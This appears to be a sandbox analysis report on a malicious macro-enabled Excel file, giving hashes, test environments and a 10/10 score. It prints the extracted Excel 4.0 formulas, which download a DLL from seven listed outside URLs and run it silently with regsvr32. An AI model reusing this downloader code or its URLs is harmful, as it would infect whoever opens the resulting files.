General
-
Target
19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3
-
Size
122KB
-
Sample
241119-xjhpcavndm
-
MD5
f926ab2a88f6c4993baf3204e2dc2e4d
-
SHA1
2c0c10af069a0cd17bd0c933a6ad1bb2f2473918
-
SHA256
19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3
-
SHA512
3f21581e5385bffda6cec53ce5ec68ed80ae4b3ec9f60e1d588bb09c67a07d8cd674d322756ef62e1b2fee0e7c9e05ebaabc10a3a5e496700e3e683001a43b1a
-
SSDEEP
3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ
Behavioral task
behavioral1
Sample
19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/
https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/
https://oneworldlantern.com/9A033MS/
https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/
https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/
https://andrewpharma.com/wp-includes/KKXAiWGL/
https://wxoperate.bb2play.com/framework/1zTlT1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://oneworldlantern.com/9A033MS/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andrewpharma.com/wp-includes/KKXAiWGL/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wxoperate.bb2play.com/framework/1zTlT1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()
Extracted
https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/
https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/
https://oneworldlantern.com/9A033MS/
https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/
https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/
https://andrewpharma.com/wp-includes/KKXAiWGL/
https://wxoperate.bb2play.com/framework/1zTlT1/
Targets
-
-
Target
19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3
-
Size
122KB
-
MD5
f926ab2a88f6c4993baf3204e2dc2e4d
-
SHA1
2c0c10af069a0cd17bd0c933a6ad1bb2f2473918
-
SHA256
19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3
-
SHA512
3f21581e5385bffda6cec53ce5ec68ed80ae4b3ec9f60e1d588bb09c67a07d8cd674d322756ef62e1b2fee0e7c9e05ebaabc10a3a5e496700e3e683001a43b1a
-
SSDEEP
3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ
Score10/10 -